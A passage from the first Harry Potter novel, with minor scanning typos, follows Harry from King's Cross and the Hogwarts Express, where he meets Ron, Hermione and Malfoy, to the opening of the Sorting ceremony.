hospital," growled Uncle Vernon. "Got to have that +ruddy tail removed before he goes to Smeltings." + +Harry woke at five o'clock the next morning and was too excited and +nervous to go back to sleep. He got up and pulled on his jeans because +he didn't want to walk into the station in his wizard's robes -- he'd +change on the train. He checked his Hogwarts list yet again to make sure +he had everything he needed, saw that Hedwig was shut safely in her +cage, and then paced the room, waiting for the Dursleys to get up. Two +hours later, Harry's huge, heavy trunk had been loaded into the +Dursleys' car, Aunt Petunia had talked Dudley into sitting next to +Harry, and they had set off. + +They reached King's Cross at half past ten. Uncle Vernon dumped Harry's +trunk onto a cart and wheeled it into the station for him. Harry thought +this was strangely kind until Uncle Vernon stopped dead, facing the +platforms with a nasty grin on his face. + +"Well, there you are, boy. Platform nine -- platform ten. Your platform +should be somewhere in the middle, but they don't seem to have built it +yet, do they?" + +He was quite right, of course. There was a big plastic number nine over +one platform and a big plastic number ten over the one next to it, and +in the middle, nothing at all. + +"Have a good term," said Uncle Vernon with an even nastier smile. He +left without another word. Harry turned and saw the Dursleys drive away. +All three of them were laughing. Harry's mouth went rather dry. What on +earth was he going to do? He was starting to attract a lot of funny +looks, because of Hedwig. He'd have to ask someone. + +He stopped a passing guard, but didn't dare mention platform nine and +three-quarters. The guard had never heard of Hogwarts and when Harry +couldn't even tell him what part of the country it was in, he started to +get annoyed, as though Harry was being stupid on purpose. Getting +desperate, Harry asked for the train that left at eleven o'clock, but +the guard said there wasn't one. In the end the guard strode away, +muttering about time wasters. Harry was now trying hard not to panic. +According to the large clock over the arrivals board, he had ten minutes +left to get on the train to Hogwarts and he had no idea how to do it; he +was stranded in the middle of a station with a trunk he could hardly +lift, a pocket full of wizard money, and a large owl. + +Hagrid must have forgotten to tell him something you had to do, like +tapping the third brick on the left to get into Diagon Alley. He +wondered if he should get out his wand and start tapping the ticket +inspector's stand between platforms nine and ten. + +At that moment a group of people passed just behind him and he caught a +few words of what they were saying. + +"-- packed with Muggles, of course --" + +Harry swung round. The speaker was a plump woman who was talking to four +boys, all with flaming red hair. Each of them was pushing a trunk like +Harry's in front of him -- and they had an owl. + +Heart hammering, Harry pushed his cart after them. They stopped and so +did he, just near enough to hear what they were saying. + +"Now, what's the platform number?" said the boys' mother. + +"Nine and three-quarters!" piped a small girl, also red-headed, who was +holding her hand, "Mom, can't I go... " + +"You're not old enough, Ginny, now be quiet. All right, Percy, you go +first." + +What looked like the oldest boy marched toward platforms nine and ten. +Harry watched, careful not to blink in case he missed it -- but just as +the boy reached the dividing barrier between the two platforms, a large +crowd of tourists came swarming in front of him and by the time the last +backpack had cleared away, the boy had vanished. + +"Fred, you next," the plump woman said. + +"I'm not Fred, I'm George," said the boy. "Honestly, woman, you call +yourself our mother? CarA you tell I'm George?" + +"Sorry, George, dear." + +"Only joking, I am Fred," said the boy, and off he went. His twin called +after him to hurry up, and he must have done so, because a second later, +he had gone -- but how had he done it? + +Now the third brother was walking briskly toward the barrier he was +almost there -- and then, quite suddenly, he wasn't anywhere. + +There was nothing else for it. + +"Excuse me," Harry said to the plump woman. + +"Hello, dear," she said. "First time at Hogwarts? Ron's new, too." + +She pointed at the last and youngest of her sons. He was tall, thin, and +gangling, with freckles, big hands and feet, and a long nose. + +"Yes," said Harry. "The thing is -- the thing is, I don't know how to +--" + +"How to get onto the platform?" she said kindly, and Harry nodded. + +"Not to worry," she said. "All you have to do is walk straight at the +barrier between platforms nine and ten. Don't stop and don't be scared +you'll crash into it, that's very important. Best do it at a bit of a +run if you're nervous. Go on, go now before Ron." + +"Er -- okay," said Harry. + +He pushed his trolley around and stared at the barrier. It looked very +solid. + +He started to walk toward it. People jostled him on their way to +platforms nine and ten. Harry walked more quickly. He was going to smash +right into that barrier and then he'd be in trouble -- leaning forward +on his cart, he broke into a heavy run -- the barrier was coming nearer +and nearer -- he wouldn't be able to stop -- the cart was out of control +-- he was a foot away -- he closed his eyes ready for the crash -- + +It didn't come... he kept on running... he opened his eyes. A scarlet +steam engine was waiting next to a platform packed with people. A sign +overhead said Hogwarts Express, eleven O'clock. Harry looked behind him +and saw a wrought-iron archway where the barrier had been, with the +words Platform Nine and Three-Quarters on it, He had done it. + +Smoke from the engine drifted over the heads of the chattering crowd, +while cats of every color wound here and there between their legs. Owls +hooted to one another in a disgruntled sort of way over the babble and +the scraping of heavy trunks. + +The first few carriages were already packed with students, some hanging +out of the window to talk to their families, some fighting over seats. +Harry pushed his cart off down the platform in search of an empty seat. +He passed a round-faced boy who was saying, "Gran, I've lost my toad +again." + +"Oh, Neville," he heard the old woman sigh. + +A boy with dreadlocks was surrounded by a small crowd. + +"Give us a look, Lee, go on." + +The boy lifted the lid of a box in his arms, and the people around him +shrieked and yelled as something inside poked out a long, hairy leg. + +Harry pressed on through the crowd until he found an empty compartment +near the end of the train. He put Hedwig inside first and then started +to shove and heave his trunk toward the train door. He tried to lift it +up the steps but could hardly raise one end and twice he dropped it +painfully on his foot. + +"Want a hand?" It was one of the red-haired twins he'd followed through +the barrier. + +"Yes, please," Harry panted. + +"Oy, Fred! C'mere and help!" + +With the twins' help, Harry's trunk was at last tucked away in a corner +of the compartment. + +"Thanks," said Harry, pushing his sweaty hair out of his eyes. + +"What's that?" said one of the twins suddenly, pointing at Harry's +lightning scar. + +"Blimey," said the other twin. "Are you + +"He is," said the first twin. "Aren't you?" he added to Harry. + +"What?" said Harry. + +"Harry Potter, "chorused the twins. + +"Oh, him," said Harry. "I mean, yes, I am." + +The two boys gawked at him, and Harry felt himself turning red. Then, to +his relief, a voice came floating in through the train's open door. + +"Fred? George? Are you there?" + +"Coming, Mom." + +With a last look at Harry, the twins hopped off the train. + +Harry sat down next to the window where, half hidden, he could watch the +red-haired family on the platform and hear what they were saying. Their +mother had just taken out her handkerchief. + +"Ron, you've got something on your nose." + +The youngest boy tried to jerk out of the way, but she grabbed him and +began rubbing the end of his nose. + +"Mom -- geroff" He wriggled free. + +"Aaah, has ickle Ronnie got somefink on his nosie?" said one of the +twins. + +"Shut up," said Ron. + +"Where's Percy?" said their mother. + +"He's coming now." + +The oldest boy came striding into sight. He had already changed into his +billowing black Hogwarts robes, and Harry noticed a shiny silver badge +on his chest with the letter P on it. + +"Can't stay long, Mother," he said. "I'm up front, the prefects have got +two compartments to themselves --" + +"Oh, are you a prefect, Percy?" said one of the twins, with an air of +great surprise. "You should have said something, we had no idea." + +"Hang on, I think I remember him saying something about it," said the +other twin. "Once --" + +"Or twice --" + +"A minute --" + +"All summer --" + +"Oh, shut up," said Percy the Prefect. + +"How come Percy gets new robes, anyway?" said one of the twins. + +"Because he's a prefect," said their mother fondly. "All right, dear, +well, have a good term -- send me an owl when you get there." + +She kissed Percy on the cheek and he left. Then she turned to the twins. + +"Now, you two -- this year, you behave yourselves. If I get one more owl +telling me you've -- you've blown up a toilet or --" + +"Blown up a toilet? We've never blown up a toilet." + +"Great idea though, thanks, Mom." + +"It's not funny. And look after Ron." + +"Don't worry, ickle Ronniekins is safe with us." + +"Shut up," said Ron again. He was almost as tall as the twins already +and his nose was still pink where his mother had rubbed it. + +"Hey, Mom, guess what? Guess who we just met on the train?" + +Harry leaned back quickly so they couldn't see him looking. + +"You know that black-haired boy who was near us in the station? Know who +he is?" + +"Who?" + +"Harry Potter!" + +Harry heard the little girl's voice. + +"Oh, Mom, can I go on the train and see him, Mom, eh please...." + +"You've already seen him, Ginny, and the poor boy isn't something you +goggle at in a zoo. Is he really, Fred? How do you know?" + +"Asked him. Saw his scar. It's really there - like lightning." + +"Poor dear - no wonder he was alone, I wondered. He was ever so polite +when he asked how to get onto the platform." + +"Never mind that, do you think he remembers what You-Know-Who looks +like?" + +Their mother suddenly became very stern. + +"I forbid you to ask him, Fred. No, don't you dare. As though he needs +reminding of that on his first day at school." + +"All right, keep your hair on." + +A whistle sounded. + +"Hurry up!" their mother said, and the three boys clambered onto the +train. They leaned out of the window for her to kiss them good-bye, and +their younger sister began to cry. + +"Don't, Ginny, we'll send you loads of owls." + +"We'll send you a Hogwarts toilet seat." + +"George!" + +"Only joking, Mom." + +The train began to move. Harry saw the boys' mother waving and their +sister, half laughing, half crying, running to keep up with the train +until it gathered too much speed, then she fell back and waved. + +Harry watched the girl and her mother disappear as the train rounded the +corner. Houses flashed past the window. Harry felt a great leap of +excitement. He didn't know what he was going to but it had to be better +than what he was leaving behind. + +The door of the compartment slid open and the youngest redheaded boy +came in. + +"Anyone sitting there?" he asked, pointing at the seat opposite Harry. +"Everywhere else is full." + +Harry shook his head and the boy sat down. He glanced at Harry and then +looked quickly out of the window, pretending he hadn't looked. Harry saw +he still had a black mark on his nose. + +"Hey, Ron." + +The twins were back. + +"Listen, we're going down the middle of the train -- Lee Jordan's got a +giant tarantula down there." + +"Right," mumbled Ron. + +"Harry," said the other twin, "did we introduce ourselves? Fred and +George Weasley. And this is Ron, our brother. See you later, then. + +"Bye," said Harry and Ron. The twins slid the compartment door shut +behind them. + +"Are you really Harry Potter?" Ron blurted out. + +Harry nodded. + +"Oh -well, I thought it might be one of Fred and George's jokes," said +Ron. "And have you really got -- you know..." + +He pointed at Harry's forehead. + +Harry pulled back his bangs to show the lightning scar. Ron stared. + +"So that's where You-Know-Who + +"Yes," said Harry, "but I can't remember it." + +"Nothing?" said Ron eagerly. + +"Well -- I remember a lot of green light, but nothing else." + +"Wow," said Ron. He sat and stared at Harry for a few moments, then, as +though he had suddenly realized what he was doing, he looked quickly out +of the window again. + +"Are all your family wizards?" asked Harry, who found Ron just as +interesting as Ron found him. + +"Er -- Yes, I think so," said Ron. "I think Mom's got a second cousin +who's an accountant, but we never talk about him." + +"So you must know loads of magic already." + +The Weasleys were clearly one of those old wizarding families the pale +boy in Diagon Alley had talked about. + +"I heard you went to live with Muggles," said Ron. "What are they like?" + +"Horrible -well, not all of them. My aunt and uncle and cousin are, +though. Wish I'd had three wizard brothers." + +"Five," said Ron. For some reason, he was looking gloomy. "I'm the sixth +in our family to go to Hogwarts. You could say I've got a lot to live up +to. Bill and Charlie have already left -- Bill was head boy and Charlie +was captain of Quidditch. Now Percy's a prefect. Fred and George mess +around a lot, but they still get really good marks and everyone thinks +they're really funny. Everyone expects me to do as well as the others, +but if I do, it's no big deal, because they did it first. You never get +anything new, either, with five brothers. I've got Bill's old robes, +Charlie's old wand, and Percy's old rat." + +Ron reached inside his jacket and pulled out a fat gray rat, which was +asleep. + +"His name's Scabbers and he's useless, he hardly ever wakes up. Percy +got an owl from my dad for being made a prefect, but they couldn't aff +-- I mean, I got Scabbers instead." + +Ron's ears went pink. He seemed to think he'd said too much, because he +went back to staring out of the window. + +Harry didn't think there was anything wrong with not being able to +afford an owl. After all, he'd never had any money in his life until a +month ago, and he told Ron so, all about having to wear Dudley's old +clothes and never getting proper birthday presents. This seemed to cheer +Ron up. + +"... and until Hagrid told me, I didn't know anything about be ing a +wizard or about my parents or Voldemort" + +Ron gasped. + +"What?" said Harry. + +"You said You-Know-Who's name!" said Ron, sounding both shocked and +impressed. "I'd have thought you, of all people --" + +"I'm not trying to be brave or anything, saying the name," said Harry, I +just never knew you shouldn't. See what I mean? I've got loads to +learn.... I bet," he added, voicing for the first time something that +had been worrying him a lot lately, "I bet I'm the worst in the class." + +"You won't be. There's loads of people who come from Muggle families and +they learn quick enough." + +While they had been talking, the train had carried them out of London. +Now they were speeding past fields full of cows and sheep. They were +quiet for a time, watching the fields and lanes flick past. + +Around half past twelve there was a great clattering outside in the +corridor and a smiling, dimpled woman slid back their door and said, +"Anything off the cart, dears?" + +Harry, who hadn't had any breakfast, leapt to his feet, but Ron's ears +went pink again and he muttered that he'd brought sandwiches. Harry went +out into the corridor. + +He had never had any money for candy with the Dursleys, and now that he +had pockets rattling with gold and silver he was ready to buy as many +Mars Bars as he could carry -- but the woman didn't have Mars Bars. What +she did have were Bettie Bott's Every Flavor Beans, Drooble's Best +Blowing Gum, Chocolate Frogs. Pumpkin Pasties, Cauldron Cakes, Licorice +Wands, and a number of other strange things Harry had never seen in his +life. Not wanting to miss anything, he got some of everything and paid +the woman eleven silver Sickles and seven bronze Knuts. + +Ron stared as Harry brought it all back in to the compartment and tipped +it onto an empty seat. + +"Hungry, are you?" + +"Starving," said Harry, taking a large bite out of a pumpkin pasty. + +Ron had taken out a lumpy package and unwrapped it. There were four +sandwiches inside. He pulled one of them apart and said, "She always +forgets I don't like corned beef." + +"Swap you for one of these," said Harry, holding up a pasty. "Go on --" + +"You don't want this, it's all dry," said Ron. "She hasn't got much +time," he added quickly, "you know, with five of us." + +"Go on, have a pasty," said Harry, who had never had anything to share +before or, indeed, anyone to share it with. It was a nice feeling, +sitting there with Ron, eating their way through all Harry's pasties, +cakes, and candies (the sandwiches lay forgotten). + +"What are these?" Harry asked Ron, holding up a pack of Chocolate Frogs. +"They're not really frogs, are they?" He was starting to feel that +nothing would surprise him. + +"No," said Ron. "But see what the card is. I'm missing Agrippa." + +"What?" + +"Oh, of course, you wouldn't know -- Chocolate Frogs have cards, inside +them, you know, to collect -- famous witches and wizards. I've got about +five hundred, but I haven't got Agrippa or Ptolemy." + +Harry unwrapped his Chocolate Frog and picked up the card. It showed a +man's face. He wore half- moon glasses, had a long, crooked nose, and +flowing silver hair, beard, and mustache. Underneath the picture was the +name Albus Dumbledore. + +"So this is Dumbledore!" said Harry. + +"Don't tell me you'd never heard of Dumbledore!" said Ron. "Can I have a +frog? I might get Agrippa -- thanks + +Harry turned over his card and read: + +ALBUS DUMBLEDORE + +CURRENTLY HEADMASTER OF HOGWARTS + +Considered by many the greatest wizard of modern times, Dumbledore is +particularly famous for his defeat of the dark wizard Grindelwald in +1945, for the discovery of the twelve uses of dragon's blood, and his +work on alchemy with his partner, Nicolas Flamel. Professor Dumbledore +enjoys chamber music and tenpin bowling. + +Harry turned the card back over and saw, to his astonishment, that +Dumbledore's face had disappeared. + +"He's gone!" + +"Well, you can't expect him to hang around all day," said Ron. "He'll be +back. No, I've got Morgana again and I've got about six of her... do you +want it? You can start collecting." + +Ron's eyes strayed to the pile of Chocolate Frogs waiting to be +unwrapped. + +"Help yourself," said Harry. "But in, you know, the Muggle world, people +just stay put in photos." + +"Do they? What, they don't move at all?" Ron sounded amazed. "weird!" + +Harry stared as Dumbledore sidled back into the picture on his card and +gave him a small smile. Ron was more interested in eating the frogs than +looking at the Famous Witches and Wizards cards, but Harry couldn't keep +his eyes off them. Soon he had not only Dumbledore and Morgana, but +Hengist of Woodcroft, Alberic Grunnion, Circe, Paracelsus, and Merlin. +He finally tore his eyes away from the druidess Cliodna, who was +scratching her nose, to open a bag of Bertie Bott's Every Flavor Beans. + +"You want to be careful with those," Ron warned Harry. "When they say +every flavor, they mean every flavor -- you know, you get all the +ordinary ones like chocolate and peppermint and mar- malade, but then +you can get spinach and liver and tripe. George reckons he had a booger- +flavored one once." + +Ron picked up a green bean, looked at it carefully, and bit into a +corner. + +"Bleaaargh -- see? Sprouts." + +They had a good time eating the Every Flavor Beans. Harry got toast, +coconut, baked bean, strawberry, curry, grass, coffee, sardine, and was +even brave enough to nibble the end off a funny gray one Ron wouldn't +touch, which turned out to be pepper. + +The countryside now flying past the window was becoming wilder. The neat +fields had gone. Now there were woods, twisting rivers, and dark green +hills. + +There was a knock on the door of their compartment and the round-faced +boy Harry had passed on platform nine and threequarters came in. He +looked tearful. + +"Sorry," he said, "but have you seen a toad at all?" + +When they shook their heads, he wailed, "I've lost him! He keeps getting +away from me!" + +"He'll turn up," said Harry. + +"Yes," said the boy miserably. "Well, if you see him..." + +He left. + +"Don't know why he's so bothered," said Ron. "If I'd brought a toad I'd +lose it as quick as I could. Mind you, I brought Scabbers, so I can't +talk." + +The rat was still snoozing on Ron's lap. + +"He might have died and you wouldn't know the difference," said Ron in +disgust. "I tried to turn him yellow yesterday to make him more +interesting, but the spell didn't work. I'll show you, look..." + +He rummaged around in his trunk and pulled out a very battered-looking +wand. It was chipped in places and something white was glinting at the +end. + +"Unicorn hair's nearly poking out. Anyway + +He had just raised his 'wand when the compartment door slid open again. +The toadless boy was back, but this time he had a girl with him. She was +already wearing her new Hogwarts robes. + +"Has anyone seen a toad? Neville's lost one," she said. She had a bossy +sort of voice, lots of bushy brown hair, and rather large front teeth. + +"We've already told him we haven't seen it," said Ron, but the girl +wasn't listening, she was looking at the wand in his hand. + +"Oh, are you doing magic? Let's see it, then." + +She sat down. Ron looked taken aback. + +"Er -- all right." + +He cleared his throat. + +"Sunshine, daisies, butter mellow, Turn this stupid, fat rat yellow." + +He waved his wand, but nothing happened. Scabbers stayed gray and fast +asleep. + +"Are you sure that's a real spell?" said the girl. "Well, it's not very +good, is it? I've tried a few simple spells just for practice and it's +all worked for me. Nobody in my family's magic at all, it was ever such +a surprise when I got my letter, but I was ever so pleased, of course, I +mean, it's the very best school of witchcraft there is, I've heard -- +I've learned all our course books by heart, of course, I just hope it +will be enough -- I'm Hermione Granger, by the way, who are you. + +She said all this very fast. + +Harry looked at Ron, and was relieved to see by his stunned face that he +hadn't learned all the course books by heart either. + +"I'm Ron Weasley," Ron muttered. + +"Harry Potter," said Harry. + +"Are you really?" said Hermione. "I know all about you, of course -- I +got a few extra books. for background reading, and you're in Modern +Magical History and The Rise and Fall of the Dark Arts and Great +Wizarding Events of the Twentieth Century. + +"Am I?" said Harry, feeling dazed. + +"Goodness, didn't you know, I'd have found out everything I could if it +was me," said Hermione. "Do either of you know what house you'll be in? +I've been asking around, and I hope I'm in Gryffindor, it sounds by far +the best; I hear Dumbledore himself was in it, but I suppose Ravenclaw +wouldn't be too bad.... Anyway, we'd better go and look for Neville's +toad. You two had better change, you know, I expect we'll be there +soon." + +And she left, taking the toadless boy with her. + +"Whatever house I'm in, I hope she's not in it," said Ron. He threw his +wand back into his trunk. "Stupid spell -- George gave it to me, bet he +knew it was a dud." + +"What house are your brothers in?" asked Harry. + +"Gryffindor," said Ron. Gloom seemed to be settling on him again. "Mom +and Dad were in it, too. I don't know what they'll say if I'm not. I +don't suppose Ravenclaw would be too bad, but imagine if they put me in +Slytherin." + +"That's the house Vol-, I mean, You-Know-Who was in?" + +"Yeah," said Ron. He flopped back into his seat, looking depressed. + +"You know, I think the ends of Scabbers' whiskers are a bit lighter," +said Harry, trying to take Ron's mind off houses. "So what do your +oldest brothers do now that they've left, anyway?" + +Harry was wondering what a wizard did once he'd finished school. + +"Charlie's in Romania studying dragons, and Bill's in Africa doing +something for Gringotts," said Ron. "Did you hear about + +Gringotts? It's been all over the Daily Prophet, but I don't suppose you +get that with the Muggles -- someone tried to rob a high security +vault." + +Harry stared. + +"Really? What happened to them?" + +"Nothing, that's why it's such big news. They haven't been caught. My +dad says it must've been a powerful Dark wizard to get round Gringotts, +but they don't think they took anything, that's what's odd. 'Course, +everyone gets scared when something like this happens in case +You-Know-Who's behind it." + +Harry turned this news over in his mind. He was starting to get a +prickle of fear every time You- Know-Who was mentioned. He supposed this +was all part of entering the magical world, but it had been a lot more +comfortable saying "Voldemort" without worrying. + +"What's your Quidditch team?" Ron asked. + +"Er -- I don't know any," Harry confessed. + +"What!" Ron looked dumbfounded. "Oh, you wait, it's the best game in the +world --" And he was off, explaining all about the four balls and the +positions of the seven players, describing famous games he'd been to +with his brothers and the broomstick he'd like to get if he had the +money. He was just taking Harry through the finer points of the game +when the compartment door slid open yet again, but it wasn't Neville the +toadless boy, or Hermione Granger this time. + +Three boys entered, and Harry recognized the middle one at once: it was +the pale boy from Madam Malkin's robe shop. He was looking at Harry with +a lot more interest than he'd shown back in Diagon Alley. + +"Is it true?" he said. "They're saying all down the train that Harry +Potter's in this compartment. So it's you, is it?" + +"Yes," said Harry. He was looking at the other boys. Both of them were +thickset and looked extremely mean. Standing on either side of the pale +boy, they looked like bodyguards. + +"Oh, this is Crabbe and this is Goyle," said the pale boy carelessly, +noticing where Harry was looking. "And my name's Malfoy, Draco Malfoy." + +Ron gave a slight cough, which might have been hiding a snigget. Draco +Malfoy looked at him. + +"Think my name's funny, do you? No need to ask who you are. My father +told me all the Weasleys have red hair, freckles, and more children than +they can afford." + +He turned back to Harry. "You'll soon find out some wizarding families +are much better than others, Potter. You don't want to go making friends +with the wrong sort. I can help you there." + +He held out his hand to shake Harry's, but Harry didn't take it. + +"I think I can tell who the wrong sort are for myself, thanks," he said +coolly. + +Draco Malfoy didn't go red, but a pink tinge appeared in his pale +cheeks. + +"I'd be careful if I were you, Potter," he said slowly. "Unless you're a +bit politer you'll go the same way as your parents. They didn't know +what was good for them, either. You hang around with riffraff like the +Weasleys and that Hagrid, and it'll rub off on you." + +Both Harry and Ron stood up. + +"Say that again," Ron said, his face as red as his hair. + +"Oh, you're going to fight us, are you?" Malfoy sneered. + +"Unless you get out now," said Harry, more bravely than he felt, because +Crabbe and Goyle were a lot bigger than him or Ron. + +"But we don't feet like leaving, do we, boys? We've eaten all our food +and you still seem to have some." + +Goyle reached toward the Chocolate Frogs next to Ron - Ron leapt +forward, but before he'd so much as touched Goyle, Goyle let out a +horrible yell. + +Scabbers the rat was hanging off his finger, sharp little teeth sunk +deep into Goyle's knuckle - Crabbe and Malfoy backed away as Goyle swung +Scabbers round and round, howling, and when Scabbets finally flew off +and hit the window, all three of them disappeared at once. Perhaps they +thought there were more rats lurking among the sweets, or perhaps they'd +heard footsteps, because a second later, Hermione Granger had come in. + +"What has been going on?" she said, looking at the sweets all over the +floor and Ron picking up Scabbers by his tail. + +I think he's been knocked out," Ron said to Harry. He looked closer at +Scabbers. "No -- I don't believe it -- he's gone back to sleep-" + +And so he had. + +"You've met Malfoy before?" + +Harry explained about their meeting in Diagon Alley. + +"I've heard of his family," said Ron darkly. "They were some of the +first to come back to our side after You-Know-Who disappeared. Said +they'd been bewitched. My dad doesn't believe it. He says Malfoy's +father didn't need an excuse to go over to the Dark Side." He turned to +Hermione. "Can we help you with something?" + +"You'd better hurry up and put your robes on, I've just been up to the +front to ask the conductor, and he says we're nearly there. You haven't +been fighting, have you? You'll be in trouble before we even get there!" + +"Scabbers has been fighting, not us," said Ron, scowling at her. "Would +you mind leaving while we change?" + +"All right -- I only came in here because people outside are behaving +very childishly, racing up and down the corridors," said Hermione in a +sniffy voice. "And you've got dirt on your nose, by the way, did you +know?" + +Ron glared at her as she left. Harry peered out of the window. It was +getting dark. He could see mountains and forests under a deep purple +sky. The train did seem to be slowing down. + +He and Ron took off their jackets and pulled on their long black robes. +Ron's were a bit short for him, you could see his sneakers underneath +them. + +A voice echoed through the train: "We will be reaching Hogwarts in five +minutes' time. Please leave your luggage on the train, it will be taken +to the school separately." + +Harry's stomach lurched with nerves and Ron, he saw, looked pale under +his freckles. They crammed their pockets with the last of the sweets and +joined the crowd thronging the corridor. + +The train slowed right down and finally stopped. People pushed their way +toward the door and out on to a tiny, dark platform. Harry shivered in +the cold night air. Then a lamp came bobbing over the heads of the +students, and Harry heard a familiar voice: "Firs' years! Firs' years +over here! All right there, Harry?" + +Hagrid's big hairy face beamed over the sea of heads. + +"C'mon, follow me -- any more firs' years? Mind yer step, now! Firs' +years follow me!" + +Slipping and stumbling, they followed Hagrid down what seemed to be a +steep, narrow path. It was so dark on either side of them that Harry +thought there must be thick trees there. Nobody spoke much. Neville, the +boy who kept losing his toad, sniffed once or twice. + +"Ye' all get yer firs' sight o' Hogwarts in a sec," Hagrid called over +his shoulder, "jus' round this bend here." + +There was a loud "Oooooh!" + +The narrow path had opened suddenly onto the edge of a great black take. +Perched atop a high mountain on the other side, its windows sparkling in +the starry sky, was a vast castle with many turrets and towers. + +"No more'n four to a boat!" Hagrid called, pointing to a fleet of little +boats sitting in the water by the shore. Harry and Ron were followed +into their boat by Neville and Hermione. "Everyone in?" shouted Hagrid, +who had a boat to himself. "Right then -- FORWARD!" + +And the fleet of little boats moved off all at once, gliding across the +lake, which was as smooth as glass. Everyone was silent, staring up at +the great castle overhead. It towered over them as they sailed nearer +and nearer to the cliff on which it stood. + +"Heads down!" yelled Hagrid as the first boats reached the cliff; they +all bent their heads and the little boats carried them through a curtain +of ivy that hid a wide opening in the cliff face. They were carried +along a dark tunnel, which seemed to be taking them right underneath the +castle, until they reached a kind of underground harbor, where they +clambered out onto rocks and pebbles. + +"Oy, you there! Is this your toad?" said Hagrid, who was checking the +boats as people climbed out of them. + +"Trevor!" cried Neville blissfully, holding out his hands. Then they +clambered up a passageway in the rock after Hagrid's lamp, coming out at +last onto smooth, damp grass right in the shadow of the castle. + +They walked up a flight of stone steps and crowded around the huge, Oak +front door. + +"Everyone here? You there, still got yer toad?" + +Hagrid raised a gigantic fist and knocked three times on the castle +door. + + +CHAPTER SEVEN + +THE SORTING HAT + +The door swung open at once. A tall, black-haired witch in emerald-green +robes stood there. She had a very stern face and Harry's first thought +was that this was not someone to cross. + +"The firs' years, Professor McGonagall," said Hagrid. + +"Thank you, Hagrid. I will take them from here." + +She pulled the door wide. The entrance hall was so big you could have +fit the whole of the Dursleys' house in it. The stone walls were lit +with flaming torches like the ones at Gringotts, the ceiling was too +high to make out, and a magnificent marble staircase facing them led to +the upper floors. + +They followed Professor McGonagall across the flagged stone floor. Harry +could hear the drone of hundreds of voices from a doorway to the right +-the rest of the school must already be here -- but Professor McGonagall +showed the first years into a small, empty chamber off the hall. They +crowded in, standing rather closer together than they would usually have +done, peering about nervously. + +"Welcome to Hogwarts," said Professor McGonagall. "The start-of-term +banquet will begin shortly, but before you take your seats in the Great +Hall, you will be sorted into your houses. The Sorting is a very +important ceremony because, while you are here, your house will be +something like your family within Hogwarts. You will have classes with +the rest of your house, sleep in your house dormitory, and spend free +time in your house common room. + +"The four houses are called Gryffindor, Hufflepuff, Ravenclaw, and +Slytherin. Each house has its own noble history and each has produced +outstanding witches and wizards. While you are at Hogwarts, your +triumphs will earn your house points, while any rulebreaking will lose +house points. At the end of the year, the house with the most points is +awarded the house cup, a great honor. I hope each of you will be a +credit to whichever house becomes yours. + +"The Sorting Ceremony will take place in a few minutes in front of the +rest of the school. I suggest you all smarten yourselves up as much as +you can while you are waiting." + +Her eyes lingered for a moment on Neville's cloak, which was fastened +under his left ear, and on Ron's smudged nose. Harry nervously tried to +flatten his hair. + +"I shall return when we are ready for you," said Professor McGonagall. +"Please wait quietly." + +She left the chamber. Harry swallowed. + +"How exactly do they sort us into houses?" he asked Ron. + +"Some sort of test, I think. Fred said it hurts a lot, but I think he +was joking." + +Harry's heart gave a horrible jolt. A test? In front of the whole +school? But he didn't know any magic yet -- what on earth would he have +to do? He hadn't expected something like this the moment they arrived. +He looked around anxiously and saw that everyone else looked terrified, +too. No one was talking much except Hermione Granger, who was whispering +very fast about all the spells she'd learned and wondering which one +she'd need. Harry tried hard not to listen to her. He'd never been more +nervous, never, not even when he'd had to take a school report home to +the Dursleys saying that he'd somehow turned his teacher's wig blue. He +kept his eyes fixed on the door. Any second now, Professor McGonagall +would come back and lead him to his doom. + +Then something happened that made him jump about a foot in the air -- +several people behind him screamed. + +"What the --?" + +He gasped. So did the people around him. About twenty ghosts had just +streamed through the back wall. Pearly-white and slightly transparent, +they glided across the room talking to one another and hardly glancing +at the first years. They seemed to be arguing. What looked like a fat +little monk was saying: "Forgive and forget, I say, we ought to give him +a second chance --" + +"My dear Friar, haven't we given Peeves all the chances he deserves? He +gives us all a bad name and you know, he's not really even a ghost -- I +say, what are you all doing here?" + +A ghost wearing a ruff and tights had suddenly noticed the first years. + +Nobody answered. + +"New students!" said the Fat Friar, smiling around at them. "About to be +Sorted, I suppose?" + +A few people nodded mutely. + +"Hope to see you in Hufflepuff!" said the Friar. "My old house, you +know." + +"Move along now," said a sharp voice. "The Sorting Ceremony's about to +start." + +Professor McGonagall had returned. One by one, the ghosts floated away +through the opposite wall. + +"Now, form a line," Professor McGonagall told the first years, "and +follow me." + +Feeling oddly as though his legs had turned to lead, Harry got into line +behind a boy with sandy hair, with Ron behind him, and they walked out +of the chamber, back across the hall, and through a pair of double doors +into the Great Hall. + +Harry had never even imagined such a strange and splendid place. It was +lit by thousands and thousands of candles that were floating in midair +over four long tables, where the rest of the students were sitting. +These tables were laid with glittering golden plates and goblets. At the +top of the hall was another long table where the teachers were sitting. +Professor McGonagall led the first years up here, so that they came to a +halt in a line facing the other students, with the teachers behind them. +The hundreds of faces staring at them looked like pale lanterns in the +flickering candlelight. Dotted here and there among the students, the +ghosts shone misty silver. Mainly to avoid all the staring eyes, Harry +looked upward and saw a velvety black ceiling dotted with stars. He +heard + +Hermione whisper, "Its bewitched to look like the sky outside. I read +about it in Hogwarts, A History." + +It was hard to believe there was a ceiling there at all, and that the +Great Hall didn't simply open on to the heavens. + +Harry quickly looked down again as Professor McGonagall silently placed +a four-legged stool in front of the first years. On top of the stool she +put a pointed wizard's hat. This hat was patched and frayed and +extremely dirty. Aunt Petunia wouldn't have let it in the house. + +Maybe they had to try and get a rabbit out of it, Harry thought wildly, +that seemed the sort of thing -- noticing that everyone in the hall was +now staring at the hat, he stared at it, too. For a few seconds, there +was complete silence. Then the hat twitched. A rip near the brim opened +wide like a mouth -- and the hat began to sing: + +"Oh, you may not think I'm pretty, + +But don't judge on what you see, + +I'll eat myself if you can find + +A smarter hat than me. + +You can keep your bowlers black, + +Your top hats sleek and tall, + +For I'm the Hogwarts Sorting Hat + +And I can cap them all. + +There's nothing hidden in your head + +The Sorting Hat can't see, + +So try me on and I will tell you + +Where you ought to be. + +You might belong in Gryffindor, + +Where dwell the brave at heart, + +Their daring, nerve, and chivalry Set Gryffindors apart; + +You might belong in Hufflepuff, + +Where they are just and loyal, + +Those patient Hufflepuffis are true And unafraid of toil; + +Or yet in wise old Ravenclaw, + +if you've a ready mind, + +Where those of wit and learning, + +Will always find their kind; + +Or perhaps in Slytherin + +You'll make your real friends, + +Those cunning folk use any means + +To achieve their ends. + +So put me on! Don't be afraid! + +And don't get in a flap! + +You're in safe hands (though I have none) + +For I'm a Thinking Cap!" + +The whole hall burst into applause as 